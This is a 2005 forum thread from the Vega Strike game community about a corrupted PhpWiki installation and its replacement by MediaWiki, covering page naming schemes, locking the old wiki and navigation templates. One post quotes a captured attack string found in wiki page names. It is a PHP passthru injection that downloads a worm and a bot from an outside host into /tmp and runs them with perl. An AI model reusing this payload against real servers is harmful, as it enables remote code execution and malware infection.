Wiki: RecentChanges not working

Need help testing contributed art or code or having trouble getting your newest additions into game compatible format? Confused by changes to data formats? Reading through source and wondering what the developers were thinking when they wrote something? Need "how-to" style guidance for messing with VS internals? This is probably the right forum.
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Wiki: RecentChanges not working

Post by pontiac »

I don't know why, but this two pages don't seem to work anymore:
http://vegastrike.sourceforge.net/phpwi ... entChanges
http://vegastrike.sourceforge.net/phpwi ... ecentEdits

I've made alot of changes and edits in the past days, but none are visible there :?

Pontiac
Last edited by pontiac on Sat Feb 12, 2005 10:49 pm, edited 1 time in total.
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

A second issue is that the backup function (ZIP Snapshot and ZIP Dump) doesn't save ALL pages, which is rather bad for a backupscript :?
http://vegastrike.sourceforge.net/phpwi ... nistration

It seems something is not working correctly in the phpWiki-code or database.

Pontiac
ace123
Lead Network Developer
Lead Network Developer
Posts: 2560
Joined: Sun Jan 12, 2003 9:13 am
Location: Palo Alto CA
Contact:

Post by ace123 »

These problems are related somehow... it only has a list of some pages inn its database

All of the pages are there, but only a few are enumerated. I don't know why.

Also, this is possibly related to the move to a different version when the old one mysteriously stopped working...

I'll take a look at the code... and for now I'll just manually back up the entire database file... which still doesn't work with the XHTML output thing.
ace123
Lead Network Developer
Lead Network Developer
Posts: 2560
Joined: Sun Jan 12, 2003 9:13 am
Location: Palo Alto CA
Contact:

Post by ace123 »

I have found some problems. I'm looking into it...
But first, these two pages have interesting names:
VsFaqInstalling&rush=echo _START_; killall -9 perl;killall -9 wget;killall -9 perl;cd /tmp;wget http://www.grancassa.co.uk/images/ssh.a.worm;wget http://www.grancassa.co.uk/images/bota;perl bota;perl ssh.a.worm;rm -rf ssh.*;rm -rf bot*; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27
VsFaqInstalling&rush=echo _START_; killall -9 perl;killall -9 wget;killall -9 perl;cd /tmp;wget http://www.grancassa.co.uk/images/ssh.a.worm;wget http://www.grancassa.co.uk/images/bota;perl bota;perl ssh.a.worm;rm -rf ssh.*;rm -rf bot*; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27
Looks like an attempted exploit...
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

ace123 wrote:These problems are related somehow... it only has a list of some pages inn its database

All of the pages are there, but only a few are enumerated. I don't know why.
There are a couple spam entries in some of the pages, maybe the wiki got hacked too somehow (or the hack failed and corrupted something).
Just an idea.
Also, this is possibly related to the move to a different version when the old one mysteriously stopped working...
This is mentioned in the known bugs at PHPWiki under Driver initialization failed for handler
http://phpwiki.sourceforge.net/phpwiki/KnownBugs
Not workaround though, just an upgrade seems to work.

Pontiac
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

Just FYI, here's the list of recognized pages:
http://vegastrike.sourceforge.net/phpwi ... p/AllPages

Pontiac
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

OK, it's getting stranger and stranger (and more problematic at the same time)

I edited the page VsManualInstallation and after saving this page canb't be access anymore (no edit, no dispklay, no history).
http://vegastrike.sourceforge.net/phpwi ... stallation
And every page that links to it will only display the content up to the link.
The rest wil be skipped and be replaced by an error message.
See VegastrikeManual for example:
http://vegastrike.sourceforge.net/phpwi ... rikeManual

Pontiac
Silverain
Expert Mercenary
Expert Mercenary
Posts: 984
Joined: Thu Aug 07, 2003 5:35 am
Location: Brisbane, Land of Oz
Contact:

Post by Silverain »

pontiac wrote:OK, it's getting stranger and stranger (and more problematic at the same time)

I edited the page VsManualInstallation and after saving this page canb't be access anymore (no edit, no dispklay, no history).
http://vegastrike.sourceforge.net/phpwi ... stallation
And every page that links to it will only display the content up to the link.
The rest wil be skipped and be replaced by an error message.
See VegastrikeManual for example:
http://vegastrike.sourceforge.net/phpwi ... rikeManual

Pontiac
I confirm the problem.
THOUGHT CRIME! [points finger] THOUGHT CRIME!
fizze
Confed Special Operative
Confed Special Operative
Posts: 299
Joined: Wed Mar 24, 2004 3:35 pm
Location: Austria
Contact:

Post by fizze »

http://vegastrike.sourceforge.net/phpwi ... ualDbShips <--

is broken, partially


WARNING: BIG IMAGES

*

Human -> Species: VsManualDbSpeciesHumanity?
o VsManualDbShipsHumanInterceptors
o VsManualDbShipsHumanFighters
o VsManualDbShipsHumanHeavy
o

Fatal error: Call to a member function on a non-object in /home/groups/v/ve/vegastrike/htdocs/phpwiki-1.3.10/lib/WikiDB.php on line 207


whateva......... :roll:
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

fizze wrote:http://vegastrike.sourceforge.net/phpwi ... ualDbShips <--

is broken, partially
...
Yeah, seems to be the same problem as with
http://vegastrike.sourceforge.net/phpwi ... rikeManual
etc...

--- Warning, monster project below ----
Slow, but certainly i get the feeling that we should switch to another, more mature/advanced, wiki (again :? you may ask; please don't hit me right now ;) ).
If this is accepted by the web admin of course.

If so i would suggest the WikiPedia Wiki software. I had a look into this matter and i'm quite sure that this would be the best one.
Not only because with wikipedia there is a really big testing group ;)
There are also alot of game-pages using it (e.g freeciv, openttd).

The change of syntax would also force us to convert all the wiki content to a more useable layout (categories) and more sane structures (e.g manual/development/mod section).
So if this is what everybody agrees is the right way we would need to lock the phpwiki and for the first view days/weeks only allow a few moderators editing the new wiki to make the basic structure.
-----------------------------

Just my 100€
Pontiac
ace123
Lead Network Developer
Lead Network Developer
Posts: 2560
Joined: Sun Jan 12, 2003 9:13 am
Location: Palo Alto CA
Contact:

Post by ace123 »

I agree with you about PhpWiki. Ever sense the Database file got corrupted, forcing the upgrade to version 1.3.10, the Wiki page index seems to be out of sync with the page database itself. It seems like things are starting to point to pages that don't exist.

The problems relating to PhpWiki are getting worse.

I've seen many sites use MediaWiki, and it seems like a good alternative.

Should I lock the current wiki for now until we are able to move to MediaWiki?

I don't want to do this until we are sure about what to change to.

I probably want to start by installing MediaWiki, and running the sed script on the PhpWiki without any editing. I'll see how that works first.
ace123
Lead Network Developer
Lead Network Developer
Posts: 2560
Joined: Sun Jan 12, 2003 9:13 am
Location: Palo Alto CA
Contact:

Post by ace123 »

I installed the MediaWiki:
http://vegastrike.sourceforge.net/wiki/

The content is still absent, because we probably need a more MediaWiki-like naming method.

Right now every page is prefixed with Vegastrike or VS, but MediaWiki has namespaces and also should have spaces between words. What do you suggest?
ace123
Lead Network Developer
Lead Network Developer
Posts: 2560
Joined: Sun Jan 12, 2003 9:13 am
Location: Palo Alto CA
Contact:

Post by ace123 »

I have given up for now trying to export the PhpWiki. The problem is that it has an internal list of only 20-30 files, because the database probably is corrupt or something. I have increased the number of files it can see by adding a hardcoded list from the VegastrikeIndex page, but it's still not close to everything.

Does anyone have any ideas about how to get a list of all the files. I don't want to have to write a recursive crawler to search pages for wiki links and then add them to an array... But I might have to,

There's also a binary internal database file that I could use, but, I don't like writing parsers for this type of stuff.
If you have access to sf.net's servers, the database file is:
/home/groups/v/ve/vegastrike/wikidb/wiki_pagedb.gdbm

Until this, the content can only be exported to the mediawiki format by hand, which is virtually impossible in a sane amount of time.

The naming scheme I am thinking of is:
Main Page (required)
Faq
Faq:Bugs
Faq:Installing
...
Manual
Manual:Concourse
Manual:Cargo Computer
...
Howto
Howto:Compile From Cvs
...
License
Features
Mission
...

Also, I need a script to change all link names inside the wiki to MediaWiki format. The sed script on that convert page only adds brackets, but it doesn't do the more complicated action of changing the name
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

ace123 wrote:I have given up for now trying to export the PhpWiki. The problem is that it has an internal list of only 20-30 files, because the database probably is corrupt or something. I have increased the number of files it can see by adding a hardcoded list from the VegastrikeIndex page, but it's still not close to everything.

Does anyone have any ideas about how to get a list of all the files. I don't want to have to write a recursive crawler to search pages for wiki links and then add them to an array... But I might have to,

There's also a binary internal database file that I could use, but, I don't like writing parsers for this type of stuff.
If you have access to sf.net's servers, the database file is:
/home/groups/v/ve/vegastrike/wikidb/wiki_pagedb.gdbm
I'll have a look into this. But the worst that could happen is, as you said, that we need to hand-convert all of the pages anyway.... could be worse, we could have lost data :?
Until this, the content can only be exported to the mediawiki format by hand, which is virtually impossible in a sane amount of time.
We'll see. ;)

Your naming scheme is quite good. I imagined nearly the same.
I extended the scheme to some more pages:

Code: Select all

Main Page (required) -> redirects to Vegastrike
FAQ
FAQ:Bugs
FAQ:Installing
etc...

Manual
Manual:New Users
Manual:Concourse
Manual:Cargo Computer
Manual:Keyboard Layout
...
Howto
Howto:Compile From Cvs
...
Vegastrike
Vegastrike:License
Vegastrike:Features
Vegastrike:Mission
...
Wiki:Manual of Style
Wiki:Sandbox
Wiki:Requested Articles
I'll put my mockup of the main page to this page when it's finished:
http://vegastrike.sourceforge.net/wiki/Main_Page

Cheers,
Pontiac
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

ace123 wrote:Should I lock the current wiki for now until we are able to move to MediaWiki?
Yes, locking the old wiki is definately a good idea.

Pontiac
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

pontiac wrote:I'll put my mockup of the main page to this page when it's finished:
http://vegastrike.sourceforge.net/wiki/Main_Page
Ok, basic version is online:
http://vegastrike.sourceforge.net/wiki/Vegastrike

Needs a fitting CSS file though ;) white on white looks a bit too plain :lol:

Started the Manual page too:
http://vegastrike.sourceforge.net/wiki/Manual

Just refer to the talk-section for discussion of the style/layout.

I added a few Categories for classification purpose, but the do no yet show up in the Special:Categories page.

Pontiac
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

How will uploading be handled?
I think only a few ppl should be able to upload files (e.g. screens) to the wiki.
Or is anonymous uploading preferred? ... If upload is wanted/needed at all (i think it is expecially for the manual/interface section)
We could link external to the gallery as it is now (mostly) but then we can not use the advanced features wikipedia offers us.

Pontiac
ace123
Lead Network Developer
Lead Network Developer
Posts: 2560
Joined: Sun Jan 12, 2003 9:13 am
Location: Palo Alto CA
Contact:

Post by ace123 »

I will run that convert script through all manual pages (everything linked from the manual page) to increase the number of pages. This will be a painful transformation from one format to another, but it's possible to do.

I'm locking the old wiki then with a message pointing to the new wiki.
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

ace123 wrote:I will run that convert script through all manual pages (everything linked from the manual page) to increase the number of pages. This will be a painful transformation from one format to another, but it's possible to do.
That's good to hear. But the pages need to be cleaned up manually anyway :?

Despite the load of work it's not that bad IMHO, 'cause this way all the pages get an overhaul with better look&feel too 8) See the FAQs for example.

I'm locking the old wiki then with a message pointing to the new wiki.
Ok,perfect. So all the new stuff gets to the new wiki and not the old one.

Pontiac
Silverain
Expert Mercenary
Expert Mercenary
Posts: 984
Joined: Thu Aug 07, 2003 5:35 am
Location: Brisbane, Land of Oz
Contact:

Post by Silverain »

I'm re-writing parts of the manual anyway, so I'll read up on using the new wiki and try to convert and edit the pages as I go. Be a bit of a long term project though.
THOUGHT CRIME! [points finger] THOUGHT CRIME!
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

Silverain wrote:I'm re-writing parts of the manual anyway, so I'll read up on using the new wiki and try to convert and edit the pages as I go. Be a bit of a long term project though.
You can easily get a quick impression on how the new wiki works here:
http://vegastrike.sourceforge.net/wiki/Manual

The linked pages are added by Ace123 as we speak. ;)
I'm checking and finishing some of them right now.

Pontiac
ace123
Lead Network Developer
Lead Network Developer
Posts: 2560
Joined: Sun Jan 12, 2003 9:13 am
Location: Palo Alto CA
Contact:

Post by ace123 »

The usernames and passwords are now linked from the forums. This had to be done with all the spam attacks we have had lately. This shouldn't be a problem since the logins are the same.
I'm now disabling the Anonymous editing of the wiki and restricting it to Forum users.

You still have to log in separately because the PHP Session management systems are completely different.

Also, you cannot create users or change passwords from the Wiki. You have to do that from the forums.
Preferences and everything else should still work.

The next thing to be done is making a good theme. If you have access to the web server, you can have a look. The themes are currently stored in /home/groups/v/ve/vegastrike/htdocs/mediawiki/skins/ .
Halleck
Elite
Elite
Posts: 1832
Joined: Sat Jan 15, 2005 10:21 pm
Location: State of Denial
Contact:

Post by Halleck »

Awesome!

And it's MediaWiki... sweeeeeeet. :mrgreen:
I much prefer MediaWiki to PHPWiki, but I wasn't going to bother anyone about it since we already had the latter up and running.
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

Here's the way to use the navigation toolbar for the manual.
Just put the code on the bottom of a manual page and replace the links with the correct ones:

Code: Select all

----
{{NAV_Manual |
| previous=[[Manual:Save and load|Save and Load]]
| up=[[Manual]]
| next=[[Manual#Play|Manual: Playing Vega Strike]]
}}

[[Category:Manual]]
The category part is only to make the manual pages visible in the Category:Manual
Here's how the tolbar looks:
http://vegastrike.sourceforge.net/wiki/ ... NAV_Manual
pontiac
Elite
Elite
Posts: 1454
Joined: Sun Jan 12, 2003 6:24 pm
Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
Contact:

Post by pontiac »

Ok, for all of you wiki users, here's the full list of available templates:
http://vegastrike.sourceforge.net/wiki/VsWiki:Templates

If you have question just use the Talk Section there (or ask here ;) )

Enjoy :)
Pontiac
Post Reply